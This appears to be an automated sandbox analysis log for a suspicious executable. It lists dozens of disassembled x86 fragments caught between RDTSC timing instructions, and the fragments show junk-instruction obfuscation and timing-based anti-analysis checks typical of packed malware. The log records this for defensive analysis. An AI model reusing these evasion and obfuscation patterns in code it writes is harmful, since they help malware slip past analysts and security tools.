Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B66530 second address: B66598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov dword ptr [ebp+122D2716h], eax 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e or dword ptr [ebp+122D23B2h], ecx 0x00000024 mov eax, dword ptr [ebp+122D139Dh] 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FA5CCB7DEC8h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 and ebx, 40C7A673h 0x0000004a push FFFFFFFFh 0x0000004c mov edi, dword ptr [ebp+122D3601h] 0x00000052 nop 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jl 00007FA5CCB7DEC6h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B66598 second address: B665AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52630h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6A846 second address: B6A861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB7DED7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B69926 second address: B69941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB52636h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6A861 second address: B6A870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6A870 second address: B6A87E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB5262Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6A87E second address: B6A884 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6F9B4 second address: B6F9B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6BA5E second address: B6BA62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6BA62 second address: B6BA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6BB4C second address: B6BB52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B71B61 second address: B71B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B71B65 second address: B71B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B74CC4 second address: B74CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FA5CCB52638h 0x0000000a popad 0x0000000b push eax 0x0000000c jp 00007FA5CCB5262Eh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6DB17 second address: B6DB2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA5CCB7DED0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6DB2C second address: B6DB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6DB39 second address: B6DB47 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA5CCB7DEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6DC0F second address: B6DC1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FA5CCB52626h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B6EB2D second address: B6EB33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B72D02 second address: B72D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B74F71 second address: B74F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DED8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B7E07B second address: B7E0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007FA5CCB52638h 0x0000000c pushad 0x0000000d jg 00007FA5CCB52626h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B7E0A3 second address: B7E0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B840B0 second address: B840DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FA5CCB5262Ah 0x00000012 jbe 00007FA5CCB52626h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B840DB second address: B840E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA5CCB7DEC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B840E5 second address: B840E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B840E9 second address: B84134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007FA5CCB7DED1h 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jno 00007FA5CCB7DEC6h 0x00000023 popad 0x00000024 ja 00007FA5CCB7DEC8h 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jnl 00007FA5CCB7DECCh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B84134 second address: B8413A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B8413A second address: B8413E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B8908C second address: B89090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B89090 second address: B89094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B89094 second address: B890BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FA5CCB52646h 0x0000000c jmp 00007FA5CCB52632h 0x00000011 jbe 00007FA5CCB5262Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B885EC second address: B88607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB7DED5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B88607 second address: B8860B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B8860B second address: B8860F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B888C6 second address: B888CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B888CC second address: B88903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FA5CCB7DED6h 0x0000000e pop ecx 0x0000000f jmp 00007FA5CCB7DECFh 0x00000014 jnp 00007FA5CCB7DECCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B8DF1A second address: B8DF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5B579 second address: B5B592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA5CCB7DED5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5B592 second address: B5B596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C179 second address: B5C17F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C17F second address: B5C19B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA5CCB52626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FA5CCB5262Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C19B second address: B5C19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C19F second address: B5C231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 pushad 0x00000009 movzx ebx, di 0x0000000c js 00007FA5CCB5262Ch 0x00000012 mov ebx, dword ptr [ebp+122D3555h] 0x00000018 popad 0x00000019 lea eax, dword ptr [ebp+1246FC53h] 0x0000001f mov dword ptr [ebp+122D1F4Eh], ebx 0x00000025 push eax 0x00000026 jnc 00007FA5CCB5262Ah 0x0000002c mov dword ptr [esp], eax 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FA5CCB52628h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 jmp 00007FA5CCB5262Ah 0x0000004e lea eax, dword ptr [ebp+1246FC0Fh] 0x00000054 push 00000000h 0x00000056 push esi 0x00000057 call 00007FA5CCB52628h 0x0000005c pop esi 0x0000005d mov dword ptr [esp+04h], esi 0x00000061 add dword ptr [esp+04h], 00000015h 0x00000069 inc esi 0x0000006a push esi 0x0000006b ret 0x0000006c pop esi 0x0000006d ret 0x0000006e mov edi, dword ptr [ebp+122D1FCAh] 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C231 second address: B5C237 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5C237 second address: B4664D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov cx, di 0x0000000e call dword ptr [ebp+122D27D0h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FA5CCB52626h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B8DAB2 second address: B8DAB7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B924A7 second address: B924CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB52638h 0x00000007 jc 00007FA5CCB52626h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B92BB0 second address: B92BC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DECBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B92BC6 second address: B92BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FA5CCB52626h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B92D40 second address: B92D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DED9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9323E second address: B93244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B93244 second address: B93255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FA5CCB7DEC6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B93255 second address: B9327A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA5CCB52637h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FA5CCB5262Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B91C2B second address: B91C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA5CCB7DECFh 0x0000000a jmp 00007FA5CCB7DED9h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9A7FB second address: B9A7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9A942 second address: B9A946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9AD2B second address: B9AD30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9A525 second address: B9A52F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA5CCB7DEC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9A52F second address: B9A538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9B11E second address: B9B14F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA5CCB7DEE1h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007FA5CCB7DED9h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FA5CCB7DEC6h 0x00000017 jng 00007FA5CCB7DEC6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9B14F second address: B9B153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B9F08C second address: B9F091 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA1B90 second address: BA1B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA1B94 second address: BA1B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA1B98 second address: BA1BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FA5CCB52645h 0x00000011 je 00007FA5CCB52626h 0x00000017 jmp 00007FA5CCB52639h 0x0000001c jo 00007FA5CCB52645h 0x00000022 jne 00007FA5CCB52626h 0x00000028 jmp 00007FA5CCB52639h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA1BED second address: BA1C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA5CCB7DEC6h 0x0000000a jmp 00007FA5CCB7DECEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA3F16 second address: BA3F1C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA65CE second address: BA65D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA65D5 second address: BA65DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BA65DC second address: BA65E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAC9E0 second address: BACA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA5CCB52626h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f jmp 00007FA5CCB52634h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jns 00007FA5CCB52626h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BACA0F second address: BACA1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jo 00007FA5CCB7DEC6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAB292 second address: BAB2AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA5CCB5262Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAB2AA second address: BAB2D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED0h 0x00000007 jmp 00007FA5CCB7DED7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAB58C second address: BAB593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5BB27 second address: B5BB2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: B5BBEC second address: B5BBF2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BABCF5 second address: BABD0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA5CCB7DED0h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BABD0F second address: BABD19 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA5CCB52626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BABD19 second address: BABD61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA5CCB7DED9h 0x00000007 jmp 00007FA5CCB7DED1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FA5CCB7DED2h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BABD61 second address: BABD71 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FA5CCB5262Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BABD71 second address: BABD76 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAF876 second address: BAF886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB5262Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAF886 second address: BAF8A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FA5CCB7DED3h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAF8A6 second address: BAF8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB5262Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAFCA4 second address: BAFCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DECDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAFCB5 second address: BAFCB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\So7a8eQerR.exe RDTSC instruction interceptor: First address: BAFCB9 second address: BAFCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA5CCB7DECEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
